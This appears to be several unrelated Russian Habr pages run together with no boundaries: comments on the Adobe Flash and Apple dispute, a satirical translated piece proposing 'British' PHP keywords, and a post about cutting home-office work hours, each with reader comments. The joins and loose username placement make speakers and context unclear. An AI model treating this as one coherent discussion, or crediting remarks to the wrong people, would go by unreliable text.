И это хорошо! :) Тем не менее качество порой походит на известные «кривопорты» :( Причем речь идет не только о технических моментах, вроде тормозов на мощном железе (при вполне обычной графике), а об отсутствии банальной переработки деталей игры под конкретную платформу из-за чего страдает геймплей. Пара банальных примеров это управление в игре (если оно изначально делалось под геймпад, а потом абы как переносилось на клавиатуру с мышкой) и такой момент как возможность сохранения в игре в любой момент времени (обычно доступно в играх на ПК и отсутствует на консолях, и консольное решение тянут на ПК, что многих просто выбешивает) и т.д. и т.п. Конечно, плохое исполнение встречается на любых платформах и в эксклюзивных тайтлах, но всеже намного реже, чем в портах.
smmurf
Работающий Flash позволит пользователям iPhone/iPad делать очень многое бесплатно. В первую очередь разного рода развлечения перестанут покупать у Apple.
lasto4kin
Цитатат автора статьи kiriyama:
Лично я болею за первые варианты — и для браузеров, и для видеохостингов. Вопрос тут действительно принципиальный — интернет должен быть построен на открытых технологиях.

Мне просто интересно стало, каким боком тут вяжется его заступничество за тотально закрытый flash?
andoriyu
Не надо пытаться вскапывать одновременно одной лопатой 3 поля. Вполне достаточно одного и вскопать его можно быстро и качественно.
Apple дает разработчикам отличный инструмент для работы, хочешь играть в эти игры, разбирайся.

iamanka
А другой вывод, Еппл ничему не учится и наступает на те же грабли. Имеем примерно 4 игроков с большим весом, Гугл, Еппл, Майкрософт и Нокиа, учитывая что ресурсы каждого в даном сегменте рынка достаточно большие то выиграет тот к своей экосистеме получит большее количество разработчиков, желание Еппл контролировать каждый аспект своей экосистемы и волюнтаризм в долгосрочной перспективе приведёт её опять к разбитому корыту.
Mac vs IBM PC финал известен.
MikhailEdoshin
интересное наблюдение, я под таким углом никогда не смотрел на это. Спасибо автору.
Я пока себе не покупал ни HTC, ни iPhone, потому что не вижу в них смысла для себя. Но продукция Эпл мне уже давно не нравится по многим причинам. Теперь и по этой :)
lasthero
О майн гот.
Уж на что я дал себе зарок не комментировать холиварные статьи на хабре, но вся эта гора заблуждений вокруг противостояния Adobe и Apple (и то сказать — противостояния — противостояния интервьюера (apple) и претендента (adobe)) уже порядком надоела.
Надеюсь у меня получится донести до Вас своё мнение, а не разжечь новую ветку бесполезного спора.
В течении многих лет в компьюетрной индустрии нарастает снежным комом тенденция — «мне не интересно оптимизировать, я спешу по-быстрому срубить денег».
В среде компьютерных игр, например, тенденция достигла апогея — и то правда — зачем оптимизировать, когда можно заставить всех заинтересованных купить новый XXXX10 GeForce или Radeon?

Не буду вспоминать времена, когда «трава была зеленее, а молодёжь скромнее» — учитывая, что и сам я собственно далеко не старик в свои 23. Просто расскажу отвлечённо про работу java на трёх платформах — я работа на eclipse и, учитывая некоторый опыт могу делать соответствующие (правда всё-таки частные) выводы:
  1. Работа интерпретируемого ресурсоёмкого кода напрямую зависит не от host-системы, а от реализации виртуальной машины java в данной конретной системе (азбучная истина)
  2. Любое серьёзное интерпретируемое приложение требует либо хорошего запаса ресурсов сверх потребляемого приложением x1.5-2 (запас должен минимум полуторный, в идеале двукратный)
  3. Ява разрабатывается компанией с 34 600 сотрудниками и офисами по всему миру, что безусловно говорит о масштабности компании и огромных ресурсах, затрачиваемых на внутренние разработки, в том числе и на яву.
  4. Ява разрабатывается с 1995
  5. Eclipse — первоначальная разработка крупнейшей компании IBM, на которую было потрачено более 40 миллионов долларов, а затем огромные средства и усилия международным многотысячным сообществом.
  6. Несмотря на это даже сейчас она работает сносно далеко не на всех платформах — например на маке, где явамашина является чуть ли не частью ядра тот же eclipse работает как нативное приложение. Но даже в этом случаем спустя сутки работы (да, я не закрывал его со вчерашшнего утра) он отъел 295мб оперативки с 3 открытыми файлами и закрытыми рабочими проектами против 115 в момент запуска. Что говорит о некоторых утечках памяти. На debian squeeze ситуация ещё более плачевная — к вечеру эклипс дотекает до 400-500 мегабайт. На семёрке (x64) ситуация аналогичная. (Если потребуются точные цифры для linux и windows 7 — я их предоставлю)
  7. И всё же и на макоси, и в линуксе, и в виндовс комфортная многочасовая работа с IDE возможна только после тонкого тюнинга и отключения многих очень полезных и удобных функций — таких как auto code completion.


Интересная персональная статистика — не правда ли? В условиях огромных денежных вложений и более чем нескромных ресурсов — современные компьютеры со всеми современными популярными операционными системами не могут гарантировать качественной работы приложения, написанного высококвалифицированными профессионалами.

А теперь вспомним все те прекрасные моменты:
  1. Adobe Flash Player is not supported for playback in 64-bit browsers. Flash Player will, however, run in a 32-bit browser, running on a 64-bit operating system.

    Note: a pre-release version of Flash Player 10 for 64-bit Linux is available from Adobe Labs. (источник)
  2. «Основной недостаток Flash-приложений — чрезмерная требовательность к ресурсам процессора. Недостаточная мощность компьютера может повлиять на производительность операционной системы в целом, либо привести к искажению результатов работы Flash-приложения, связанных с отображением анимации или подсчётом времени. Иногда это связано с недостатками программного обеспечения отвечающего за обработку Flash-компонентов, либо низким качеством самого Flash-приложения.» — хоть это и цитата из википедии, но поверьте на слово или даже проверьте сами — это суровая действительность.
  3. Я имел честь поработать с несколькими высокооплачиваемыми флешерами. Их профоессионализм вызывал изрядные сомнения несмотря на толстые портфолио и хорошие рекомендации на пресловутом фрилансе. А одного даже кикнули из проекта за регулрный срыв сроков и низкое качество продукта.
  4. the latest publication of HTML5 is now blocked by Adobe, via an objection that has still not been made public (source)
  5. Вы знаете, что флэш позволяет получить и сохранить данные буфера обмена пользователя? И только флэш позволяет получить доступ к некоторым локальным файлам пользователя и опять-таки сохранить их одержимое?
  6. Flash's security record has caused several security experts to recommend to not install Flash or to block it[50]. The US-CERT recommends to block Flash using Noscript. Charlie Miller recommended «not to install Flash» at the computer security conference CanSecWest. As of May 17, 2010, The Flash Player has 77 CVE entries, 34 of which have been ranked with a high severity (leading to arbitrary code execution), and 40 ranked medium. In February 2010, Adobe officially apologized for not fixing a known vulnerability for over 1 year. — Целый год, дорогие хабровчане, целый год. От их публичных извинений всем, кто «словил» очередной троян или потерял данные, стало сразу и навсегда легче.
  7. Знаете какой плагин в десятке самых популярных для google chrome и firefox? Flashblock
  8. Если Вы не мучались при установке в 2008 году 32-битной версии флэш в 64-битном линуксе — значит Вам несказанно повезло


К чему я это всё? Айфон, как айфон — речь не о нём. Вспомним об аппаратных ресурсах — у ненышних смартфонов они более-менее на одном уровне. А именно на уровне Intel Pentium 2 (500-1000mHz, 128-256mb RAM, про графические чипы тихонько молчим. Они тоже на уровне geForce4). А теперь обратите внимание сюда. Кажется на современных смартфонах будет работать только windows-версия adobe flash. Остальным просто не хватит ресурса процессора. И это не учитывая весь замечательный список чудесных фич флэша.
Я понимаю, что мои призывы воспринимать комментарий конструктивно не найдут дороги к горящим правденым святым гневом армиям флэшеров.


Когда Расмус Лердорф впервые собрал PHP, он решил, довольно предусмотрительно и невзирая на свои корни, не использовать в нем датский или даже гренландский. Кстати, правильно сделал, иначе было бы крайне неприятно с ним работать. Взамен он, находясь в этот момент в Канаде, выбрал местный язык. Нет, не французский, а именно этот идиотский диалект Королевского Английского, который еще называют «US English».

С тех пор британские разработчики на PHP выказывали свое недовольство по отношению к этому факту. О чем он думал? И, что самое важное, как нам исправить это надругательство? Как нам разработчикам проследить за тем, чтобы традиции Британской Империи соблюдались и в цифровую эпоху?

По наглой рыжей морде

$variable_name
Перво-наперво, и конечно же это и самое главное изменение из всех, что позволит достичь PHP элегантности — это удаление столь любимого в США символа и замена его чем-то более подходящим. Более стойким и … более надежным (прим. пер. тут имеет место игра слов, т.к. sterling — это как фунт стерлингов, так и надежный).
£variable_name

Аббревиатуры

Ничто так не ненавистно британцам, как аббревиатуры. Общение сокращениями — это неслыханно для улиц Лондона, т.к. ни один урожденный грамматик Британии не согласится использовать сокращения для отправки даже текстовых сообщений, таких как «До скор., дорога ОК, Спс, ББ!», а с большим удовольствием отпишет изысканное произведение в духе «Глубокоуважаемый сэр. Я прибуду, настолько быстро, насколько мне позволит это сделать время, а судя по моим наблюдениям — это произойдет примерно через час. Обещаю, что лошади будут скакать всю дорогу без устали и отдыха. С глубочайшим уважением.». Так, конечно, писать дольше, но мы же никуда не торопимся.

PHP же в свою очередь кишит аббревиатурами и акронимами, что совершенно не нужно:
str_replace()
is_int()
var_dump()
preg_match()
json_encode()
mysql_connect()
Следующие изменения должны улучшить ситуацию:
string_replace()
is_integer()
variable_dump()
perform_a_regular_expression_match()
javascript_object_notation_encode()
my_structured_query_language_connect()

Красноречие

if ($condition) {
    // Code here
} else {
    // Code here
}
Шекспир сгорел бы от стыда, если бы узнал, как его язык извратили, превратив в такое уродство. Краткость приветствуется только в правильном контексте, т.е. где-то в очень дальней дали, где ее будет не разглядеть, но не в нашем случае. Блок if … else — самый часто используемый код в PHP, поэтому мы должны сделать его как можно более безобидным. Вариантов его замены тьма-тьмущая, но я предлагаю такой:
perchance (£condition) { (пер. может быть)
    // Code here
} otherwise {            (пер. в противном случае)
    // Code here
}

Произношение

imagecolorallocate()
serialize()
newt_centered_window()
connection_status()
Здесь у меня меня просто не хватает слов. Какой уважающий себя джентльмен будет ожидать, что его поймут, если он так говорит. С трудом верится, что кто-то может настолько исказить слова, используемые в языке программирования. Они будут исправлены на следующие варианты, наравне с бесчисленным множеством схожих ошибок:
imagecolourallocate()
serialise()
newt_centred_window()
connexion_status()

Манеры

try {
    // Code here
} catch (Exception $e) {
    // Handle exception
    die('Message');
}
Удачный пример отсутствия каких-либо манер в PHP — это блок try … catch. Слишком уж прямолинейно для нового PHP. В дополнение ко всему слово «die» (пер. умри) слишком уж депрессивное. Новый же блок является, хотя и излишне многословным, но все же более вежливым и оптимистичным:
would_you_mind {                      (пер. вы не против)
    // Code here
} actually_i_do_mind (Exception £e) { (пер. вообще-то против)
    // Politely move on
    cheerio('Message');               (пер. всего хорошего)
}

Классы

Вероятнее всего, нет ничего более важного и укоренившегося в психологии Британцев, чем классы, и, пока все еще есть такая возможность исправить эту часть PHP, сделать это крайне необходимо:
class Republic {
    public $a;
    private $b;
    protected $c;
}
$example = new Republic;
Начнем с того, что текущая система не предназначена для классовой иерархии, и это неприемлемо. Поэтому мы начнем распределять классы по конкретным уровням: верхний, средний, рабочий, и ни один класс не сможет получить доступа к методам вышестоящего класса без специального разрешения этого класса (и, хотя, он и будет иметь это разрешение, это совершенно не будет уравнивать их, таким образом лишая права передавать эти права каким-либо иным нижестоящим классам). «Публичный» и «Приватный» в Британской классовой системе чаще всего являют собой синонимы (посмотрите, например, на номенклатуру школьного образования), потому они должны быть изменены, как и «Защищенный». Слово «new» (пер. новый), хотя и является допустимым, все же должно быть заменено на более подходящее для классовых вопросов:
upper_class Empire {       (пер. высший_класс)
    state £a;              (пер. общественный)
    private £b;            (пер. частный)
    hereditary £c;         (пер. наследуемый)
}
£example = nouveau Empire; (пер. новый)

Солнце никогда не заходит…

Есть надежда на то, что эти несколько простых изменений изменят репутацию и статус PHP среди других языков. Более он не будет считаться бедным двоюродным братом американцем, вместо этого он сможет занять свое законное место Британского языка — Короля скриптовых языков.
Alexsey
Думаю этому больше место в юморе, чем тут
krol44
Шекспиру понравился бы Objective-C :)
Vas3K
В точку. Один из самых многословных языков, на которых я писал. Не то, чтобы это плохо, но забавно. Названия селекторов некоторых методов занимает по пол экрана. Благо с автодополнением все хорошо.
peanut
Был бы язык программирования для настоящих джентельменов, поел овсянки и давай кодить…
unst
и не забыть про five o'clock
andorro
pm или am? Это важно.
rblv
Зависит от дня недели :)
kostitsyn
зависит от дедлайна :)
artoodetoo
на счет этого англичане в курсе
Pythoncheg
Не для рабочего класса же.
Oleg_Yozhik
Совсем другое дело было бы, если бы php был русским, боюсь он не был бы столь вежлив…
mayhem
оптимизация кода будет сводиться к вставлению матерщины перед вызовом функций — «анукаблядь str_replace()» просто обязана отработать быстрее обычной str_replace()
licvidator
Или по крайней мере молчать о внутренних проблемах.
izharskiy
:-D
теперь точно псто в юмор перенести
MaximKat
есть_чо {
// Code here
} а_если_найду (Exception $e) {
// Handle exception
внатуре('Message');
}
veveve
Вариант для заядлых быдлокодеров?
mariofag
Lux_In_Tenebris
хватитит уже одной известной русскоязычной поделки в продуктах 1С…
pvasili
Чем вас не устраивает «поделка»? Только личным полным незнанием вопроса?
Взглянул бы я как обзывали переменную ИтоговоеСубконтоЗабалансовогоСчётаОС на английски, а потом его переводили обратно :).
з.ы. хотя, в 1С можете писать и на языке Шекспира, в платформе зарезервированы 2-язычные синонимы для всех конструкций.
antoo
А где можно купить такого слона? :)
unno
Это ElePHPant. Он не продается, а вся информация, что существует тут.
smartfin
а как же эта фотка?
antoo
Интересно, эта девушка вообще знает, что такое PHP?
webmaks
Я сомневаюсь, что меня интересовал PHP рядом с ней. :))
sleepwalker
Я бы не был на столько опрометчив.
hurumba
У слоника аж глазки в кучу:))
EvgeniyLazarev
Нашёл страничку заказа php-слоника, но не могу заказать, потому как не даёт выбрать метод оплаты. :-(
okopok
Надо было слонику прифотошопить монокль и цилиндр.
FakeFactFelis
в википедии говорится, что купили права на съёмку русской версии… кто знает когда смотреть можно будет??
doremidon
Можно написать простенький транслятор который переводит ключевые слова на любой язык мира и обратно в оригинальный.

Думаю опреденной аудитории бы приятно писать например на имперском или латыни…
Jodes
Имперском?
Jodes
Возможно, имелся в виду мицгольский.
hf35
А… ну на латыни было бы интересно пописать :) Не на переводе конечно ПХП на латынь, а на ПХП с грамматикой латыни :)
Arris
Даааа...)
Со всеми этими американскими color и center совсем отвык от правильных британских colour и centre.
Первое время постоянно писал такие слова в кодде именно по-британски, т.к. учил клссический английский 14 лет ))
torbasow
Писал тут реализацию протокола по британской спеке, теперь в части непосредственно связанной с протоколом, везде colour, а в остальной части (рисование) — color. Хотел было попереименовывать, но сломался на том какой из вариантов выбрать в качестве окончательного :).
Arris
А я бы покодил на таком PHP =)
Terion
Почему-то вспоминается 1С…
dime
perform_a_regular_expression_match() — чепуха; на самом деле первая буква в сокращении «preg» происходит от «Perl».
humbug
a_perl_compatible_regular_expression_mathc()?
ertaquo
MySQL тоже некорректно переводить как my structured query language, ибо MySQL -это СУБД, а не язык. Вообще, MySQL — это название продукта, а не аббревиатура, которую можно расшифровать.
Mithgol
Perform a regular expression match это пояснение на php.net к тому, чем занимается функция preg_match, а не попытка расшифровки preg_*

А preg_ это скорее PCRE Regular Expression *** (не знаю, что есть g, может grow from :) )
VolCh
Думаю, reg там — это regular, а expression просто само собой разумеется (опущено).
konsoletyper
>Perform a regular expression match

а preg_last_error тогда получается «Perform a regular expression last error»? :)
Wolverine
C учётом того, что PCRE расшифровывается как «Perl Compatible Regular Expressions», то вы написали «Perl Compatible Regular Expressions Regular Expressions».
RReverser
Вы что! Perl — это аббревиатура, это неприемлемо!
Wolverine
обычно для обозначения Perl-совместимых регулярных выражений всё-таки используют аббревиатуру PCRE
adminimus
В PHP все функции, работающие с Perl-совместимыми регулярными выражениями, имеют префикс preg: www.php.net/manual/en/ref.pcre.php
eugenius_nsk
В таком случае, получится practical_extraction_and_report_language_regular_expression_match().
Ogra
>hereditary £c; (пер. наследуемый)
а вот это вместо protected я считаю гениальным. аккурат переносит смысл
Lux_In_Tenebris
Смех смехом, но в PHP с наименованием функций полный зоопарк, никакой системы. В str_replace нижнее подчеркивание есть, в strpos нет и т.п. Без документации не обойтись. В этом плане objective-C намного приятней, несмотря на многословность.
eugenius_nsk
В этом плане многие языки приятней
Honeyman
Это да. Но даже на Obj-C, который считается одним из самых многословных, и редко какая статья по которому обходится без комментариев про «ужасный синтаксис и мерзкие скобочки», даже на нём программировать приятней.
JustOxlamon
Тут надо разделять: ObjC — страшный язык, Cocoa — прекрасный фреймворк.
Yan169
Название фукнции strpos() и других подобных, полагаю, заимствовано напрямую из Си. Переименовывать не стали для удобства.
HDg
Возможно, так и было (хотя функции strpos в ANSI C нет). Но в результате получился зоопарк. addslashes, html_entity_decode, htmlspecialchars_decode. Брр… Уже почти 3 года как на PHP не программирую, а отрицательные эмоции от именования функций до сих пор остались. :)
Yan169
При виде ключевого слова otherwise, сразу вспомнился XSLT, да есть в нем что-то английское.
anatoly_rr
а разве есть в британском слово connexion?
Lux_In_Tenebris
Gospodin
www.merriam-webster.com/dictionary/connexion

пруф на Вебстере :)
Я тоже весьма подивился.
cyberzx
В этот хмурый дождливый вечер, взирал с упоением на то, что Хабрапарсер отнесся с достаточным почтением к новому изложению известного языка программирования.
unno
Джентльмену стоит пообщаться с выходцами из наших бывших колоний, что понять всю бесполезность данной затеи. Но думаю имеет смысл продолжать дальнейшие исследование в данном направлении.
:)
unno
£variable_name

Кстати, Larry Wall в качестве первоапрельской шутки предлагал в Perl 6 вместо $ использовать €
www.nntp.perl.org/group/perl.perl6.language/2006/04/msg24898.html
Arris
is_integer() уже добавили :)
orloffkirill
за 3 дня -106 кармы… да, это надо уметь. Вас, батенька, надо в анналы.
Wott
Ничто так не ненавистно британцам, как аббревиатуры.


Да, но как бы они тогда называли сам язык?
darkstyler
Удивительно, что никто не упомянул: в PHP неожиданно встречаются фрагменты на иврите.
The PHP lexical analyzer gives this token the cryptic name T_PAAMAYIM_NEKUDOTAYIM. It might as well have been written in Hebrew. Wait, it is written in Hebrew. That name means «double colon».
www.php.net/manual/en/keyword.paamayim-nekudotayim.php#69537
Когда я только перешёл от офисной работы к домашней, первое время был на седьмом небе от счастья. С ума сойти – можно спать столько, сколько хочется! Можно работать тогда, когда есть «стих», а когда его нет – ходить дышать воздухом и развлекаться так, как только в голову придёт. Не счастье ли это? Примерно полгода я провёл в таком состоянии постоянного кайфа, а потом постепенно начал привыкать. А дальше началось то, что обычно бывает у большинства узников «домашнего офиса». И вот, через полтора года такой жизни я задался вопросом – а так ли уж хороша она у меня, как казалась вначале?

Итак, к чему я пришёл за полтора года «свободной» жизни:

— Поскольку задачи перед собой я ставил самостоятельно, а никаких ограничений по времени не было (можно ведь и ночью работать, на себя-то!), то их количество в «поминальнике» превысило все разумные пределы. И они всё прибывали.

— Рабочий день не прекращался никогда – только продрав глаза, я уже оказывался на рабочем месте, а уйти с него мешало большое чувство вины и ответственности перед тем громадным списком задач, которых сам себе наставил.

— При этом, количество дел, которое реально удавалось сделать в течение этого невероятного рабочего дня, оказывалось на удивление скромным. Чем я занимался все эти долгие 16 часов «свободного рабочего времени»?
Критический подсчёт рабочего времени принёс неутешительные результаты. Компьютер, моё рабочее место, оказался и главным препятствием в работе. Как не почитать свежую подборку историй или анекдотов? Их, правда, до фига, но ведь весело же!

Опять же новости – мне интересно, что делается в мире, поэтому пара-тройка новостных сайтов каждый день приветствует меня в своих объятиях. А под статьями на них еще и обсуждения бывают. Часто, правда, тупые и бессмысленные, но тоже как-то затягивает. Хочется дочитать до конца и всё-таки узнать, за кем последнее слово осталось.

Форумы по специальности – надо знать, чем братья по профессии дышат. Самому что-то туда написать – святое дело!

Разные всякие рассылки и RSS – столько там всего интересного!

А ещё есть почта – текущая рабочая (её очень много) и личная – а я люблю писать письма длинные, интересные!
Вот только всеми проклинаемая за пожирание времени аська в этом списке не засветилась, тогда я ей практически не пользовался, не то что сейчас… :)

Короче, итог оказался печален – большую часть времени я страдаю натуральной фигнёй, не дающей мне ничего, но зато много отнимающей: деньги, потому как работа не делается; здоровье, поскольку 16-ти часовое сидение за очком монитора без последствий не проходит; счастье, потому что с чего тут счастливым-то быть? Без денег и здоровья?

Озверев от такого понимания, я решился на экстремистские меры. На стол был установлен будильник, а домашним было объявлено, что теперь я снова с ними, за исключением двух часов в сутки.

Весь день кроме этих двух часов я не прикасался к работе. И бросал её в любом месте, когда два часа истекали. И жил так примерно неделю. Итог был шокирующим – за два часа я успевал существенно больше, чем за шестнадцать! Понимание того, что время не резиновое, что оно вот-вот кончится, напрочь отсекало все желания отвлечься хоть на минуту. За эту неделю я переделал кучу того, что висело тяжким грузом уже по несколько месяцев. Конечно, были и дела, которые невозможно втолкнуть в два часа. Всё, что требует вдумчивости, аналитичности, какие-то принципиально не ускоряемые вещи (нельзя, например, набирать текст быстрее, чем умеешь) и т.д. Всё это либо делилось на куски, либо откладывалось. Но итог от этого не менялся – сокращение рабочего времени в восемь раз привело к резкому увеличению эффективности его использования.

Потом я постепенно вернулся к прежней жизни. К любимым анекдотам, новостям, почте. Но когда чувствую, что меня начинает заваливать текучка – вспоминаю об этом эксперименте и принимаю то самое парадоксальное решение: не добавить пару часиков на «разгребание», а наоборот – сократить свой рабочий день, ограничить его конкретными жесткими рамками, за которые – ни-ни. И «завалы» начинают волшебным образом таять…
dohlik
Вот бы еще официальный восьмичасовой рабочий день так же сократить в четыре раза…
Konovalov
Вообще-то этот метод я иногда как консультант советую клиентам (временно сокращать рабочий день некоторых специалистов, не завязанных жёстко на график офисной жизни), но соглашаются на эксперимент единицы :)
Bygaga
Ну скорее вызывает это реакцию: «Ну, а за что я ему тогда деньги плачу...»

Можно предлагать не сокращать рабочий день, а то специалист радостно воскликнет: «Ура! Я сегодня работаю всего 4 часа».

А меры оптимизации, ты сегодня должен сделать 1, 2, 3… n, если успеешь то и 1,2,3..n до 4х часов то ты свободен на сегодня (можно еще поставить условие что у него должен быть в это время обед не менее 40ка минут). С начала дать небольшой объем работы что бы он успел, потом немного больше, и так постепенно повышать пока он физически не сможет справляться, и тогда уменьшить до разумных мер…

Таким образом получаем мотивацию не заниматься на работе ерундой, а сам сотрудник выполняет все что ему положено сделать за 8м часов…
Konovalov
То, о чём Вы говорите — это управление по результатам. Оно, как правило, использует гораздо большие временнЫе отрезки. Если у человека стоит задача, например, написать код за неделю — что с него требовать в течение дня? Кроме того, выделение этих 1,2,3...n потребует плотного вникания начальника в дела каждого сотрудника, ему больше ни на что времени не останется.
Bygaga
Ну я так предполагаю это должна быть не каждодневная практика. В принципе когда мне нужно куда-то (я думаю и у других это так же) я к примеру отпрашиваюсь на 2 часа, но я говорю какие есть задачи, мне говорят что я должен закрыть и после этого я свободен, поверьте лучшего мотиватора чем билет на поезд или самолет не придумаешь )))

+ это простимулирует четкое разбитие задач мелкие части, что поможет выполнить и проконтролировать задачу быстрее и четче, ну иногда будет нужно начальнику верить на слово что бы не отнимать свое время, но рандомный контроль употреблять.

Ну это всего лишь мои предположения, ну и частичная практика ))
hooz
Жаль что после подобных практик (на скорую руку) могут вылазить не быстро испаряемые баги через (n) времени.

Без вдумчивого вникание в поставленные задачи не обойтись, к сожалению не во все задачи и не у всех получается вникнуть за короткое время.
Vladek
В течении дня — можно требовать от одного до трёх чекинов кода в репозиторий. Любых законченных кусков. Плохо, когда человек пишет втихую код неделю, а потом вываливает эту кучу кода на коллег.
v_k
прямой путь к неврозу на рабочем месте
patt
8 — часовой рабочий день — это бред. Я сам того не замечая могу волоёбиться целый день, Зато, когда есть срок, за кот. нужно успеть можно за пол дня выполнить недельную норму. Насильно держать работника на рабочем месте — глупо, нужно ставить сроки из расчёта 8-часовога рабочего дня, и путь работник работает, как и когда ему удобнее.
Alexey_S
Согласен, считаю, что намного продутивнее для получения работы с подчиненных (или себя самаго) — устанавливать «сдельный» подход к работе. Дать понять человеку, что он должен работать, а не отсиживать часы за рабочим местом без сильных стимуляторов эффективности.
iDooble
Только вчера ехал и думал о том, что из 15 часов потраченных для «работы», очень много уходит на разную ерунду. Где-то читал, что первые 2-4 часа работы в разы эффективней чем последующие 8.
haikuos
давным-давно установлено, что программист более 4 часов не работает )
Ryav
В Сербии примерно так и работают. Сначала весь в работе, потом весь в семье/друзьях (на второе времени больше уделяется)
Unechka
Хороший опыт и, мне кажется, правильный.
leshaogonkov
Но для «обычной» работы не применимый :)
torin2k
Применимый. Надо поменять работу на более «жесткую» и попросить ограничить себе внешний трафик :)
Недавно так сделал. Сам себя за шиворот из болота не вытянешь :)
Unechka
Данная статья, как мне кажется, не о том, чтобы ограничить себе внешний трафик. Кстати, ни один работодатель на это не согласится при условии, что он хоть сколько-нибудь ещё верит в вас. Она про искусственное создание себе стрессовой ситуации, в результате которой перестаёшь маяться хернёй и начинаешь заниматься делом.
Konovalov
Ну, для кого-то и простое отключение трафика становится стрессом, достаточным для того, чтобы заняться работой. «Отключили интернет — возросла рождаемость. Надо же людям себя чем-то занимать...» :)
Enlightened
Хы. Я принял волевое решение и сам себе отрубил всякие фишкинеты и вконтакты в офисе:)

Действительно, помогает:)
SerrNovik
А еще сократить 2-4 часа на дорогу вообще здорово.
Минус в том что те кто начинают так работать иногда приходят к оптимизации времени, кто не разу не был предоставлен себе к таким выводам не приходит никогда и умеет работать только ис под палки.
deck
Ради интереса поставил себе програмку которая считает куда и сколько времени уходит — сколько на девелоперскии софт, сколько на коммуникации, сколько на фан. Дак в результате и получается, что на чистый девелопмент уходит 4-5 часов в день.

И соглашусь с тем что сокращение и ограничение времени на работу подхлестывает — видишь, что времени то уже и не осталось, и работа как то кипит побыстрее.

Два часа на работу — это, конечно, радикально :)
taxigy
Коллега тоже ставил подобную программу — она называлась “RescueTime”. Совершенно никакого внимания на себя не обращает, но очень точно и беспристрастно подсчитывает время, проведенное в браузере, в программе для чтения книжек, в среде разработки или в текстовом редакторе. Эффект был удивительно неожиданным: время, проведенное в среде разработки, возрастало с каждым днем лавинообразно, а выдаваемый результат стоял на месте. Никаких уловок с его стороны не было (все делал для собственной оценки), но о том, почему выдачи по рабочим обязанностям больше не стало, сказать ничего вразумительного не смог…

Мораль: учитывать время, которое уходит на то-сё-пятое-десятое — это одна мера; ограничивать время на работу — другая; и эти две меры имеют катастрофически мало общего.
deck
Ну вот ее же и юзаю :)
Появляется некое соревнование с самим собой. Например побить цель 5 часов на девелопмент. Такой подход несколько увиличивает производительнось. Но бывают и внешние всякие факторы которые совсем не способствуют работоспособности.
vsviridov
Спасибо за наводку…
LightAlloy
если разрабатываешь для веба, то получается, что очень много времени проводишь в браузере и непонятно работаешь или читаешь чушь какую-нибудь =(
haikuos
wakoopa.com
Pongo
ManicTime. Если я не ошибаюсь, то с недавних пор эта программа так же умеет отслеживать посещенные сайты. Кроме того, можно назначать теги на потраченное время и тому подобное.
LightAlloy
можно, но обычно мне лень)
кстати это тоже ведь не 100% показатель, можно на одном и том же ресурсе читать что-нибудь нужное по делу именно сейчас или просто что-то интересное
ITdirector
Её без банковской карточки поставить можно? Меня не пускает
modernstyle
https://www.rescuetime.com/signup/solo
lamo4ok
спасибо, было интересно

от себя лично могу добавить — в работе иногда очень не хватает соревнования. поясню: я например работаю сисадмином, и чаще всего занимаюсь на работе именно тем что вы описали (чтением новостей и тп) только из-за того что «все вроде и так работает, да и какая разница, все равно работы никто не оценит, а денег мне платят одинаково в любом случае»… делаю только то что действительно необходимо, стимула заставить себя сделать что-то «в плюс» найти для себя не могу
buxley
иллюстрация в тему
Zeraman
а работать когда же?
Paul
Ну в сутках же 24 часа, а не 9 ;)
amlet
Да, и WoW сам себя не пройдёт… Спасибо, что напомнил — приступаю к самому главному :)
Chikiro
да, wii с играми, где нужна физическая активность, значительно сокращает время игры :)
veter
Это Вы никогда не пробовали оторвать от приставки двух великовозрастных лоботрясов, запустивших Wii Sports и машущих руками в боксе. :)
NULL_byte
Офигеть! Надо обязательно попробывать!
DonSleza4e
Работаю дома
Задачу ставлю не я себе, а заказчик.
Это значит, что я сам могу распланировать свой день — когда можно поваляться и отдохнуть, когда нужно агрессивно поработать.
Жена всегда рядом, можно в любой момент распрямить спинку, пойти к ней в «гости», устроить так сказать перерывчик)
Мне нравится, ни за что не пойду назад в офис :)
maki
а сколько уже в таком режиме?
FlamingDeth
Жена довольна? :)
tonick
Мотивация и самоорганизация, всё что нужно и никакие уловки не помогут себя же обмануть ))
Мой друг решил переехать в Москву из подмосковья ради того чтобы время которое он тратил на дорогу использовать для обучения после работы (3-4 часа в день). Результатом стало то, что освободившееся время стало уходить на отдых…
tonick
А кто-нибудь работает дома при наличии маленьких детей? :) Тема отдельного топика )))
ilyaProphet
должен появится через два месяца, посмотрим каково это ))
mstarrr
Лучше заранее ищи офис — нереальное занятие по многим причинам, главные из которых:
— недосыпание в первые месяцы
— постоянный плач, из-за которого нельзя сосредоточиться на работе

После работы в офисе я месяца полтора выдержал дома, после чего снял свой офис. Глупая была затея имхо работать дома, где семья и спрятаться некуда :)
ilyaProphet
Офис есть. если будет тяжело работать, то, конечно, переберусь в офис.
Но в офисе своих минусов полно.
— кто-то включит кондёр. кто-то выключитж;
— телефоны, сотки звенят;
— вечно кто-то левый в офис заходит с вопросами: «а вы распечатать можете»;
и тд и тп
плюс в офис приехать/уехать нужно, а домой вернешься лялька плакать всё равно будет.

посмотрю как будет, тем более дома коморка есть, где закрыться можно :)
amlet
А ещё в некоторые офисы необходимо приходить точно по времени и отсиживать (по другому периодическую имитацию кипучей деятельности я назвать не могу) необходимо. И на вопрос: «А зачем?» — ответ: «Это ж офис!!!»… Мне вот, как программеру который не завязан на клиентов и ведёт переговоры с менеджерами раз в неделю этот распорядок высосаный из пальца не понятен…
allter
И что, к вам никогда не прибегают за поддержкой вашего кода (не обязательно юзеры, просто коллеги-смежники)? Не верю! © :)
amlet
Ну например есть скайп, в котором ввели поддержку передачи изображения с экрана (а до этого использовал эмулятор камеры, которая передавала изображение с экрана). Опять же опыт показал, что при должной организации (всех разработчиков обеспечить какими-нибудь дешёвыми гарнитурами за 200 р и всех у себя и себя у всех зарегистрировать) это работает и не менее эффективно чем при непосредственном контакте. В случае одновременного обсуждения с несколькими коллегами появляется ещё один плюс такого подхода — нет толпы за спиной, где каждый тыкает в экран что-то спрашивает и мешает соседям…

Ну и вообще я стараюсь программить так, чтобы были комменты (как можно более развёрнутые и понятные) на заголовки методов, а в коде на все спорные и не понятные участки. Так что такие обсуждения крайне редки (ну раз или пара раз в месяц) и сидеть постоянно ради этого в офисе смысла опять же не вижу.

Да, и последнее, если на какую-то деятельность ну нужно моё присутствие, то можно спланировать на какой-то день (дни) и я приеду — ничего зазорного в этом нет и полностью и категорично на 100 % отходить от посещений офиса не надо. Но и 100% рабочего времени торчать в это коробке тоже не дело.
allter
